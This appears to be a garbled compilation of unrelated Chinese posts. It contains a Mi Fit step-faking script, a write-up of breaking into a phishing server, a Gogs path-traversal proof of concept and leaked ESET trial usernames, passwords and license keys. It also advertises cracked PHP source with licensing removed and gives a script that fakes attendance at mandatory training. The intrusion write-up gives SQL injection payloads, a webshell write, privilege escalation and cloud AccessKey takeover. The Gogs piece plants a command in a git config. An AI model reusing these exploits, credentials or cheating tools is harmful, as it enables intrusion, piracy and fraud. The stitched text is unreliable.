%22%3A3%2C%5C%22dis%5C%22%3A2295%2C%5C%22cal%5C%22%3A95%2C%5C%22step%5C%22%3A2874%7D%2C%7B%5C%22start%5C%22%3A445%2C%5C%22stop%5C%22%3A455%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A1592%2C%5C%22cal%5C%22%3A88%2C%5C%22step%5C%22%3A1664%7D%2C%7B%5C%22start%5C%22%3A456%2C%5C%22stop%5C%22%3A466%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A1072%2C%5C%22cal%5C%22%3A51%2C%5C%22step%5C%22%3A1245%7D%2C%7B%5C%22start%5C%22%3A467%2C%5C%22stop%5C%22%3A477%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A1036%2C%5C%22cal%5C%22%3A57%2C%5C%22step%5C%22%3A1124%7D%2C%7B%5C%22start%5C%22%3A478%2C%5C%22stop%5C%22%3A488%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A488%2C%5C%22cal%5C%22%3A19%2C%5C%22step%5C%22%3A607%7D%2C%7B%5C%22start%5C%22%3A489%2C%5C%22stop%5C%22%3A499%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A2220%2C%5C%22cal%5C%22%3A120%2C%5C%22step%5C%22%3A2371%7D%2C%7B%5C%22start%5C%22%3A500%2C%5C%22stop%5C%22%3A511%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A1268%2C%5C%22cal%5C%22%3A59%2C%5C%22step%5C%22%3A1489%7D%2C%7B%5C%22start%5C%22%3A512%2C%5C%22stop%5C%22%3A522%2C%5C%22mode%5C%22%3A1%2C%5C%22dis%5C%22%3A152%2C%5C%22cal%5C%22%3A4%2C%5C%22step%5C%22%3A238%7D%5D%7D%2C%5C%22goal%5C%22%3A8000%2C%5C%22tz%5C%22%3A%5C%2228800%5C%22%7D%22%2C%22source%22%3A24%2C%22type%22%3A0%7D%5D'
    
    finddate = re.compile(r'.*?date%22%3A%22(.*?)%22%2C%22data.*?')
    findstep = re.compile(r'.*?ttl%5C%22%3A(.*?)%2C%5C%22dis.*?')
    data_json = re.sub(finddate.findall(data_json)[0], today, str(data_json))
    data_json = re.sub(findstep.findall(data_json)[0], step, str(data_json))
      
    url = f'https://api-mifit-cn.huami.com/v1/data/band_data.json?&t={t}'
    head = {
        "Content-Type": "application/x-www-form-urlencoded",
        'apptoken': f'{app_token}'
        }
    data = f'userid={userid}&last_sync_data_time=1597306380&device_type=0&last_deviceid=DA932FFFFE8816E7&data_json={data_json}'
   
    response = requests.post(url, data=data, headers=head).json()
    print(response)
    result = f"当前用户:{user}</br> 修改步数: {step}  </br> 修改结果: "+ response['message']
    server_send(result)
    qmsg_send(result)
    plus_send(result)
    print(result)
    return result
    
#获取时间戳
def get_time():
    url = 'http://api.m.taobao.com/rest/api3.do?api=mtop.common.getTimestamp'
    response = requests.get(url,headers=headers).json()
    t = response['data']['t']
    return t
    
#获取app_token
def get_app_token(login_token):
    url = f"https://account-cn.huami.com/v1/client/app_tokens?app_name=com.xiaomi.hm.health&dn=api-user.huami.com%2Capi-mifit.huami.com%2Capp-analytics.huami.com&login_token={login_token}&os_version=4.1.0"
    response = requests.get(url,headers=headers).json()
    app_token = response['token_info']['app_token']
    print("app_token获取成功!")
    print(app_token)
    return app_token
   
#server酱微信推送
def server_send(msg):
    if sckey == '':
        return
    server_url = "https://sc.ftqq.com/" + str(sckey) + ".send"
  
    data = {
            'text': msg,
            'desp': msg
        }
    requests.post(server_url, data=data)
  
#Qmsg酱QQ推送
def qmsg_send(msg):
    if qkey == '':
        return
    qmsg_url = "https://qmsg.zendee.cn:443/send/" + str(qkey)
  
    data = {
            'qq': f'{qq}',
            'msg': msg
        }
    requests.post(qmsg_url, data=data)
 
# PUSHPLUS推送
def plus_send(msg,title='小米运动助手',template ='markdown'):
    if plustoken == '':
        return
    url = 'http://www.pushplus.plus/send'
    data = {
        "token": plustoken,
        "title": title,
        "content": msg,
        "template":template
    }
    body = json.dumps(data).encode(encoding='utf-8')
    headers = {'Content-Type': 'application/json'}
    response = requests.post(url, data=body, headers=headers)
    if response.status_code ==200:
        return 1
    return 0
 
# -- 配置 --
# ------------------------------
user = "136****1234" #小米运动账号
password = "123456"  #密码
step = str(randint(18000,25000))  # 范围内取随机数, 前面不但能大于后面的数
  
#以下为信息推送,不懂的可不填写不影响刷步
sckey = ''  # server酱微信推送key(不懂不要填,可空)
qkey = '' # Qmsg酱QQ推送key(不懂不要填,可空)
qq= ''   # 需要推送的qq号 (不懂不要填,可空)
plustoken = '' #PUSHPLUS的token 官网为https://www.pushplus.plus/(不懂不要填,可空)
  
# ------------------------------
  
# def main_handler(event, context):
#     return main()
 
# 阿里云函数
def handler(*args):  
    main()
  
if __name__ == '__main__':
    main()

微信消息推送及支付宝运动截图

故事起因

这天风和日丽,我正在摸鱼,忽然QQ群弹出一条消息,我打开一看,我感觉不简单。如下图:

扫码后发现跳转到了QQ邮箱登陆界面,确定为钓鱼网站,看到其域名为http://**kak2.cn。


这里随便输入,页面跳转到如下界面。


好家伙,小伙子你挺会玩啊,收集完QQ邮箱账号密码,再来收集一波个人信息,做人不能太贪心啊。开始干活!

溯源钓鱼者

我们现在拿到了他的域名,现在收集一下域名的相关信息。使用站长工具,如下图。

可以查到域名注册人的姓名和邮箱。邮箱显示不全,这里再通过微步来进行一下查询。如下图


这里有两点可以关注一下,这里拿到了完整的邮箱和知道了这里是阿里云的。

进行一下邮箱反查,发现该邮箱下在五六月份注册多个域名,姓名都是刘xx,大概率都是用来钓鱼的。


尝试添加QQ,发现查不到这个人,这就尴尬了。


关于钓鱼者的信息收集就告一段落,接下来开始干它网站。

进攻钓鱼网站

之前我们拿到了域名,现在对网站进行渗透,那思路是什么呢?我们可以进行一下子域名、目录等扫描,如果没什么信息,那就开始对钓鱼网站本身看看有没有能利用的地方。

首先进行一下子域名扫描,没什么发现,如下图:

然后开始对域名进行一下目录扫描,如下图


扫出来的目录,基本没有权限,都是403。没什么利用的点。

现在看来只能对网站本身进行一下渗透了,看看有没有能够利用的。现在打开收集个人信息的表单,按F12看看有没有我们值得关注的,如下:

之前目录扫描发现了uploads目录但是没有权限,这里找到了uploads/ads路径,尝试一下这里路径后端是否接收文件,构造上传数据包,发送数据,还是失败了。如下:

不要灰心,接着搞,我们还发现这里使用了form表单提交数据,然后自定义了一个函数chk(),现在我们跟进这个函数去看一眼。如下

在这里我们能够了解到,网站使用了ajax来进行数据传输,将数据提交到了本站的wap目录,然后身份证号码进行了一下简单的正则判断,规定输入为数字且位数为18位。既然是将数据提交到本站了,那么如果钓鱼者再后端接收数据时直接将参数拼接到SQL语句中,那么就可能存在SQL注入。现在我们构造数据,提交数据,然后抓取数据包来进行测试,抓取的数据包如下:

接下来开始测试是否存在SQL注入,name参数后添加单引号,发送数据,发现报错,存在SQL注入!


猜解一下数据库名,数据库版本,构造payload

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
and updatexml(1,concat(0x7e,(select @@version,0x7e),1)%23


数据库名是a7,猜解一下表名,构造payload如下

'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='a7')),0)%23

发现无法获取表名,我有一种不详的预感。

果然换用一些其他的函数,发现也是无法获取表名,可能是没有权限。真让人伤心,这个老六。

现在用sqlmap跑一下吧,结果如下

只能跑出来a7这个数据库,information_schema这个库获取不到,怪不得手工注入也拿不到表名呢。唉,现在尝试一下os-shell吧,看看有没有运气。如下


看来运气并不好,失败了。不过,虽然失败了,但是我们也知道了现在的服务器系统为Linux,并且有了路径,我们就把它当成绝对路径吧,死马当活马医,看看能不能写入文件,构造payload:

into outfile '\\www\\wwwroot\\p******7.a******ka.cn\\config\\wap\\test.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

结果如下,还是失败了。

又尝试了一些其他的方法,发现收获不大。

峰回路转

真的拿不下它服务器了吗?我不信,晚上的时候,事情迎来了转机,当时我正在划水,一条好友申请打破了平静,当我同意时,大哥人狠话不多,直接URL和账号密码发了过来,包括源码的压缩包也扫出来了。在这里给大师傅递根烟。

这里大师傅也给我拓宽了思路,扫目录的时候多尝试几个工具,可能会有不一样的惊喜。访问url使用账号密码登陆,界面如下。

登陆后,我们发现,这是一个帝国备份王的一个开源CMS。当我们知道是开源的时候,首先的思路是网上有没有一些公开的漏洞供我们使用。比如我们可以这样搜索 EmpireBak v2010 后台 RCE,结果如下

红箭头指的这篇文章就很合适,通过看文章,我们也了解了getshell的思路,就是替换文件内容。具体流程就是我们可以先备份数据,然后点击管理备份目录,点击替换文件内容。

思路是有了,但是现在还有问题,就是备份王链接不上mysql,导致备份功能无法使用,但是不着急,这里备份王提供了一个功能,就是参数设置。如下

如果我们知道了数据库的账号密码和数据库名,是不是就可以尝试连接数据库了。所以现在重点是获取数据库账号密码。这如何获取呢?不要忘记了,之前我们拿到了钓鱼网站的源码压缩包,现在来解压来分析一下源码。找一找配置文件,可能有我们需要的信息。源码目录如下

现在尝试找一下数据库的配置文件,如下,果然拿到的我们想要的信息

现在去网站尝试一下看看是否连接成功,果然不出所料,连接成功,如下


现在可以尝试拿shell了。喝口水压压惊,和大师傅同步一下信息,一个人孤军奋战,怎么能抵得上两个人一起日站的快乐呢。

进后台

之前咱们看源码,发现有一个a1文件夹,查看文件夹相关文件,知道这是后台的路径

我们访问一下,发现404


应该是把后台路径改掉了,不要紧,我们简单尝试一下,发现改为a7了,现在访问a7界面如下

还是尝试使用备份王的账号密码,发现登陆成功



后台也就拿下了。查看信息,发现大部分都是脏数据了。再去问大师傅看看他那里有没有什么信息。


登陆师傅提供的地址如下


这里还是有一些数据的,还是有上当受骗的,自己的个人信息被骗完了,最后还输入了自己的手机号,接到了验证码,还把验证码提交到了钓鱼网站。腾讯的防盗机制,二次认证也挡不住钓鱼网站套路多。在这里提醒大家一定要提高警惕,提示输入个人信息的地方一定要留个心眼。

Getshell

现在咱们按照之前的思路Getshell,先压缩,然后将压缩包下载下来。

然后遇到了新的问题,下载下来的文件都是空文件,


没有数据,所以也就无法替换,也就无法Getshell了。这是什么人间疾苦。现在问问大师傅,看看大师傅进行到哪一步了。

看来也卡住了,不要灰心,不要放弃任何一个细节,再去看看备份目录,尝试将最初备份文件下载下来,进行查看。

功夫不负有心人,成功。

到如下界面替换,上面填写原内容,替换内容填入冰蝎木马。

正要尝试替换config.php文件的内容。想着先访问一下,居然出现了大马界面,大师傅先我一步下手了?去问一下

果然是大师傅干的,没想到冰蝎和哥斯拉的马子已经上去了,爱了爱了。上冰蝎,查看文件管理如下

提权之路

上面我们拿到了webshell,完成了第一步,现在开始提权了,冰蝎为我们提供了反弹shell的功能,这里我们使用冰蝎将shell弹到MSF中。去瞅一眼大师傅进度。

这就是大腿的感觉吗?太幸福了。这里说一下提权的思路。msf里面有个可以自动提权的suggester,我们直接选择就可以了,如下


选择第一个后,开始提权!


在这里我们也是成功的拿到了服务器的root权限。如下图


拿到root权限就好办事了,查看账户,也是发现了ssh的端口和账号密码,登陆ssh如下:


因为钓鱼网站是用宝塔搭建的,所以这里看了看宝塔相关信息,包括面板登陆页,账号密码等等。大师傅也是贴心的把拿到的资产都整理好了。


第一个师傅发第一个json文件中有泄露的Access key 我们可以通过使用相关工具直接接管相关服务器。


网上有现成的工具,如下图,工具链接:https://github.com/mrknow001/aliyun-accesskey-Tools

最后,大师傅贴心的总结了文本,爱了。总结了宝塔,phpmyadmin,SSH等相关资产。


小结
关于钓鱼网站的相关内容就分享到这里啦,咱们从最开始的一个Web弱口令,到日穿钓鱼服务器,中间也是几经波折,最后还是幸不辱命。

正文
internal/db/repo_editor.go#L490-L495

func isRepositoryGitPath(path string) bool {
    return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}
 
func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) (err error) {
...
// Copy uploaded files into repository
    for _, upload := range uploads {
        tmpPath := upload.LocalPath()
        if !osutil.IsFile(tmpPath) {
            continue
        }
 
        // Prevent copying files into .git directory, see https://gogs.io/gogs/issues/5558.
        // 这里做了修复,判断了是否含有.git
        if isRepositoryGitPath(upload.Name) {
            continue
        }
 
        targetPath := path.Join(dirPath, upload.Name)
        if err = com.Copy(tmpPath, targetPath); err != nil {
            return fmt.Errorf("copy: %v", err)
        }
    }
...
 
}

本地创建一个文件名为config

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = echo pwnned > /tmp/poc
[remote "origin"]
    url = git@github.com:torvalds/linux.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master

然后再gogs的web页面新建一个repo,然后本地随便初始化一个git同步上去
然后上传文件,上传的时候抓包,修改tree_path=/.git/
漏洞形成的原因是因为没有对tree_path进行验证,导致可以目录穿越,覆盖到repo的.git文件夹


参考链接
https://github.com/gogs/gogs
https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/
https://github.com/gogs/gogs/blob/3e353717540950a1459b3da7f28cc50df4a52119/internal/db/repo_editor.go#L450

个人提取 非来自网络

EIS

用 户 名: TRIAL-0288809931
密 码: pmjpvdjj6v
B9SX-X8UU-AHFH-MJT3-BNAC

用 户 名: TRIAL-0288809932
密 码: h8esr2d9ra
GXKK-XW5F-SFHV-DX3S-3FND

用 户 名: TRIAL-0288810299
密 码: 38vfc5u8fd
P2E5-XUFE-JG8A-X9S3-3HGJ

用 户 名: TRIAL-0288810661
密 码: v7n8pev95n
8B34-X5FS-WTWE-8B6N-WU82

ESSP

=====================================
用 户 名: TRIAL-0351374512
密 码: jpdk2r79mb
SMUK-XSUC-AVUR-EXN6-RE42

=====================================
用 户 名: TRIAL-0351376730
密 码: u74jubcnst
RFBA-X9CT-RA4H-K555-U7VV

=====================================
用 户 名: TRIAL-0351376734
密 码: s8uads6msf
H7MM-XVFT-TMFB-4ABA-4R9E

=====================================
用 户 名: TRIAL-0351381076
密 码: 6ktph99r9n
5CAT-XCJU-PAS6-PPJN-D6A2

Photoshop是一款在线图片编辑软件,有很多朋友们都是在用PS作图的,众所周知在使用和学习PS时是需要下载软件的,Photoshop软件对电脑配置也是有一定要求的,今天就为大家带来一款可以实现用浏览器就可以让你在线进行P图和作图的网页在线ps网站源码,用户只需打开网页就可以流畅进行做图,相当方便快捷,并且网页版ps也拥有软件端的大部分功能,有时候编辑一张照片使用网页版比重新安装使用一个PS快的多。

只需要将在线ps源码导入到虚拟主机或服务器中直接打开index.php文件就可以访问网页版ps了,绿色免安装直接在您的浏览器上用它修正,调整和美化您的图像。

风格截图

本套源码为独立版,前端是h5的,有三套模板可切换,后台是thinkphp的框架。有文档搭建教程。

有代理商模式 可付费购买代理商 有分销功能 成为代理商后,可获取下级分成。

本系统免公gz号支持第三方免签约支付;

支持打包安卓+IOS双端 支付接口:微信官方接口+易支付;

主要盈利点:开启收费开启盲盒 投放付费 条件筛选付费!可设置付费购买代理(代理就是摊主红娘);

只是去除授权,其他原版未动,版本号为1.8;

平台介绍

共分为九大模块,分别为:留一个、取一个、订单管理、新闻管理、合作伙伴、广告管理、日志、设置、系统设置;

留一个:可以对用户提交的留一个信息进行修改、删除、查看、筛选和添加信息;

取一个:可以对用户抽取的信息进行查看、筛选;

订单管理:可以对用户提交的订单信息进行查看、筛选、导出;

新闻管理:可以发布/修改/删除公告、新闻等内容;

合作伙伴:可以发布/修改/删除合作伙伴信息,在首页底部滚动展示;

广告管理:可以管理站内广告和banner轮播图等信息;

日志:记录管理员操作日志和登录日志;

设置:分为基础配置和配置,支持接入谷歌验证器。

配置为系统基本信息:标题、SEO信息、统计代码等,基础配置可以设置站点的所有基本信息

具体信息见下图;系统设置:支持设置权限组、多管理员、IP黑名单、地址管理等信息;

风格截图




搭建说明

详见压缩包内!

[bshide]下载链接:https://pan.baidu.com/share/init?surl=mujlXO7ADc5fwLaK71Nlmw
提取码:cxsn[/bshide]

使用本程序即默认接受以下条款:
1、禁止站长倒卖盲盒、用户数据,仅提供参考学习之用!

2、禁止将用户、盲盒数据用于非法犯规等相关一切相关活动!

3、禁止一切有害公民合法权益的一切相关行为。触犯以上即相关行为后果自负!

程序已删除授权检测代码,仅供学习交流!!

运行环境

PHP+MYSQL
本程序需要服务器才能搭建,普通虚拟主机无法搭建!

风格截图

更新日志

  1. 自定义支付接口;
  2. 优化全站U显示;
  3. 优化后台菜单布局;
  4. 优化金额单位;
  5. 优化用户注册记录ip;
  6. 优化盲盒统计已删除自盒数据;
  7. 优化分销订单提成显示效果;
  8. 新增自定义开启前台盲盒数据显示;
  9. 新增抽、投用户协议;
  10. 新增有盒审核增加待审核,已审核选项;
  11. 新增开通分销选择支付方式;
  12. 新增交易成功金额统计;
  13. 新增首页自定义投诉通道;
  14. 新增自定义抽到次数删除,物理删除;
  15. 新增地区投放开关;
  16. 新增自定义开启分销功能;
  17. 新增站长手动操作用户级别;
  18. 新增星座匹配、投放功能;
  19. 新增注册限制;
  20. 新增地区抽奖开关;
  21. 新增学校投放开关;
  22. 新增学校抽奖开关;
  23. 新增自定义操作学校;
  24. 新增投放年龄选项;
  25. 新增订单管理;
  26. 新增站长后台顶部滚动通知;
  27. 新增一键清理未支付订单;
  28. 修复盲盒审核数据显示;
  29. 修复分销订单记录不显示;
  30. 修复提现审核二维码回显;
  31. 修复付费投放育盒个人中心无记录;

[bslogin]
下载链接:https://pan.baidu.com/s/1tfbvsmoiCtXNI28h1F0dLw
提取码:4jzj
[/bslogin]

保密观线上培训自动播放脚本

依赖: python3 webbrowser win32api win32con

注意点: (使用之前需要先登陆一下,浏览器session保存用户的登录信息)
1.浏览器路径替换为用户自己浏览器的路径(已修改:改为使用用户系统默认浏览器)

2.鼠标按钮区域可能需要用户自动手动更改自己适合的坐标

获取开始播放按钮方式: Prt Sc截图按钮全屏截图,然后在画图打开,打开之后切换成画笔移动到开始播放按钮 此时画图界面的左下角显示的就是坐标,按照坐标改程序前几行就行

自动可以学习到4学时以上

视频打开后用户可以用电脑干别的事情,等待下一个视频打开后用户最好不要操作,等待视频开始 视频开始播放后就可以切换到其他程序,此时可以正常使用电脑

import time
import os
import io
import webbrowser
# import ddddocr
# import pyautogui
import win32api
import win32con
import math

import threading

######################
# 新的方法不用输入用户浏览器Path了,可以直接调用系统默认浏览器
# 需要用户设置的唯一参数(鼠标点击位置),即开始播放的按钮在屏幕的坐标位置
# 打开一个视频,然后全屏截图之后在画图打开,切换到画笔
# 然后看左下角显示的数字,分别就是x和y

# 有不看的视频注释即可
######################
x = 465
y = 1005

urlAndTime = {
# [必修]第1课 红色保密 百年征程
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=580&doclibId=3&pubId=&resourceId=56733c5e-9b0a-4e8c-b222-d8a9400e7a72':13.22, # 红色保密 百年征程 0.3
# 第2课 传承红色基因 弘扬保密传统
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=578&doclibId=3&pubId=&resourceId=b2358834-c24c-41db-bdb6-cbc473c75f1b':6.30, # 1.党的保密工作优良传统 0.14
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=576&doclibId=3&pubId=&resourceId=6270c6f3-fae7-4625-9b1b-fc5764bbde01':4.50, # 2.坚定的理想信念 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=574&doclibId=3&pubId=&resourceId=374a7ddd-49b5-4a70-890f-9f727d789342':3.52, # 3.强烈的忧患意识 0.08
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=572&doclibId=3&pubId=&resourceId=2af1231f-997e-450b-9b1c-6973a7229a2b':4.42, # 4.严格的纪律约束 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=570&doclibId=3&pubId=&resourceId=91f436db-4fa6-49c2-8347-8d9628c9c9fa':4.38, # 5.紧紧地依靠人民 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=568&doclibId=3&pubId=&resourceId=97080222-7653-4100-9587-7421556977e5':5.05, # 6.持续的技术对抗 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=566&doclibId=3&pubId=&resourceId=25d0e1a9-dbbf-44b5-ac19-9c004f9f3407':4.57, # 7.领导的率先垂范 0.1
# 第3课 “党史上的保密印记”系列
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=592&doclibId=3&pubId=&resourceId=1ac1cf02-5182-40b5-bb20-b2e1686cf57b':2.13, # 1.誓与密码共存亡 0.05
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=590&doclibId=3&pubId=&resourceId=70f222a1-5441-497c-8f84-6105dadd3737':3.40, # 2.革命航船破浪启航 0.08
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=588&doclibId=3&pubId=&resourceId=2a065b94-2a7d-4b8f-b581-1504a2451799':3.40, # 3.手摇发电机的长征之路 0.08
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=586&doclibId=3&pubId=&resourceId=4ed78416-c441-4328-8f64-407d5adfec4b':4.25, # 4.西安事变前夕 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=584&doclibId=3&pubId=&resourceId=22b35616-8830-400b-a74b-89bfd525f828':4.28, # 5.共和国的谍战玫瑰 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=582&doclibId=3&pubId=&resourceId=8e703fa2-1592-4c78-8670-e346ff8e9ee5':3.51, # 6.一苏大的保密空城计 0.08

# [必修]第1课 红线不能触碰底线不能逾越
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=644&doclibId=3&pubId=&resourceId=a91aafa5-d9b7-422e-aaa9-0e0c3045345c':5.47, # 1.利欲熏心窃秘密 锒铛入狱悔莫及
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=642&doclibId=3&pubId=&resourceId=5a744db1-ebb1-440f-91d4-6c29467008a7':6.29, # 2.出售废品莫大意 认真清点防泄密
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=640&doclibId=3&pubId=&resourceId=a3e4d860-934c-4f65-a799-74df608bd250':7.33, # 3.密件岂能随便邮 快递传密栽跟头
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=638&doclibId=3&pubId=&resourceId=1204e5fb-bdee-4a81-8f78-2354634465a1':5.31, # 4.擅携密件出国境 麻痹侥幸毁前程
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=636&doclibId=3&pubId=&resourceId=5ae3afab-bb82-4e78-bed3-beb2384f0ad5':6.39, # 5.私自留存隐患多 贪图方便酿恶果
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=634&doclibId=3&pubId=&resourceId=75029480-ec24-4439-a293-f9a37bec7d8d':5.37, # 6.私人交往有禁忌 泄露秘密违法纪
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=632&doclibId=3&pubId=&resourceId=ab6473b5-a9a7-4001-a89f-9c78441b410f':5.53, # 7.公共网络很便利 严禁使用传秘密
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=628&doclibId=3&pubId=&resourceId=2491d0da-35c7-44b2-b7f1-673c4f25c010':5.52, # 8.违规联网为红颜 依法判刑悔已晚
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=626&doclibId=3&pubId=&resourceId=ad1820c6-079f-48ae-ade7-1f5b2c034359':7.20, # 9.涉密非密有界限 交叉互联埋隐患
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=624&doclibId=3&pubId=&resourceId=c3ba5041-cee1-45e2-944d-b711775eb6c0':5.47, # 10.非密电脑存秘密 拱手相送犯大忌
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=622&doclibId=3&pubId=&resourceId=f585b736-1515-4f22-af37-4e077b6a4f57':7.03, # 11.安全程序防攻击 擅自卸载违法纪
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=620&doclibId=3&pubId=&resourceId=3594f4df-a8e8-43fe-9f94-af2e898b7fba':7.07, # 12.涉密设备要淘汰 擅自处理不应该


# [必修]第1课 “秒懂保密”系列之涉密人员保密管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=514&doclibId=3&pubId=&resourceId=9b84efe2-f8af-47b0-b030-d9d7bbe29a6b':1.58, # 1.涉密人员与涉密岗位
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=516&doclibId=3&pubId=&resourceId=4f19e38c-be2d-4484-8dc5-175abe12038d':2.32, # 2.涉密人员保密审查
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=518&doclibId=3&pubId=&resourceId=9e519ac1-eb92-46ac-b25f-a3d13cf71ce8':2.35, # 3.涉密人员上岗前保密管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=520&doclibId=3&pubId=&resourceId=6c52f617-a459-4d7d-b5b9-77995f86872b':2.31, # 4.涉密人员在岗培训、复审与重大事项报告
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=522&doclibId=3&pubId=&resourceId=b381bbf7-1f8e-41e4-9f23-0e9ec53e8908':3.10, # 5.涉密人员出国(境)管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=530&doclibId=3&pubId=&resourceId=38d66f3f-e25e-4eb8-a28d-84f1d173767c':2.26, # 6.涉密人员离岗离职保密管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=526&doclibId=3&pubId=&resourceId=3bd3300e-8561-4186-ba02-b6323248e9d4':3.10, # 7.涉密人员脱密期管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=528&doclibId=3&pubId=&resourceId=1f415688-9796-4495-8910-3c24d05b4540':1.50, # 8.涉密人员义务与权益保障

#[必修]第1课 风险四伏的办公自动化设备
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=3083&doclibId=3&pubId=&resourceId=a347302e-4518-45c3-b565-c638e12dbdfd':31.46, #

# [必修] 第1课“密”案解读——保密警示案例专题片
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=3144&doclibId=3&pubId=&resourceId=4387e160-ae6c-4f89-8be3-291a3ab1da67':27.34

# 这些就有4.38学时了

}

# MacOS
# chrome_path = 'open -a /Applications/Google\ Chrome.app %s'

# Windows
# chrome_path = 'E:/Software/Google/Chrome/Application/chrome.exe %s'

# Linux
# chrome_path = '/usr/bin/google-chrome %s'

def image2byte(image):
    '''
    图片转byte
    image: 必须是PIL格式
    image_bytes: 二进制
    '''
    # 创建一个字节流管道
    img_bytes = io.BytesIO()
    # 将图片数据存入字节流管道, format可以按照具体文件的格式填写
    image.save(img_bytes, format="JPEG")
    # 从字节流管道中获取二进制
    image_bytes = img_bytes.getvalue()
    return image_bytes

#模拟鼠标点击
def mouse_click(x, y):
    win32api.SetCursorPos([x, y])
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)

# 主线程
class mainThread (threading.Thread):   #继承父类threading.Thread
    def __init__(self, url):
        threading.Thread.__init__(self)
        self.url = url
    def run(self):
        # 先确保chrome被关闭了
        os.system("taskkill /im chrome.exe /f")
        time.sleep(2)

        # 创建子线程
        thread1 = childThread(1, "chrome", self.url)
        thread2 = childThread(2, "play", self.url)

        # 开启线程
        thread1.start()
        thread2.start()



# 子线程
class childThread (threading.Thread):   #继承父类threading.Thread
    def __init__(self, threadID, name, url):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.url = url
    def run(self):                   #把要执行的代码写到run函数里面 线程在创建后会直接运行run函数 
        if(self.name == "chrome"):
            time.sleep(0.1)
            url = self.url

            # 老方法需要填写用户本地浏览器地址,新方法直接调用用户默认浏览器
            # chrome_path = 'C://Users//CZY//AppData//Local//Google//Chrome//Application//chrome.exe %s'
            # webbrowser.get(chrome_path).open(url)

            # 新方法,用户默认打开网页就行了
            webbrowser.open(url)

            print("chrome threading over")
        elif(self.name == "play"):

            # # 先给线程加一个锁
            # threading.Lock().acquire()

            # 休眠一段时间,确保chrome完全加载完成
            time.sleep(8)

            # 模拟鼠标点击
            mouse_click(x, y) # 点击开始播放图标 不同的人可能不太一样,我是根据我的屏幕浏览器全屏

            # 获取sleep时间
            video_time = urlAndTime[self.url]
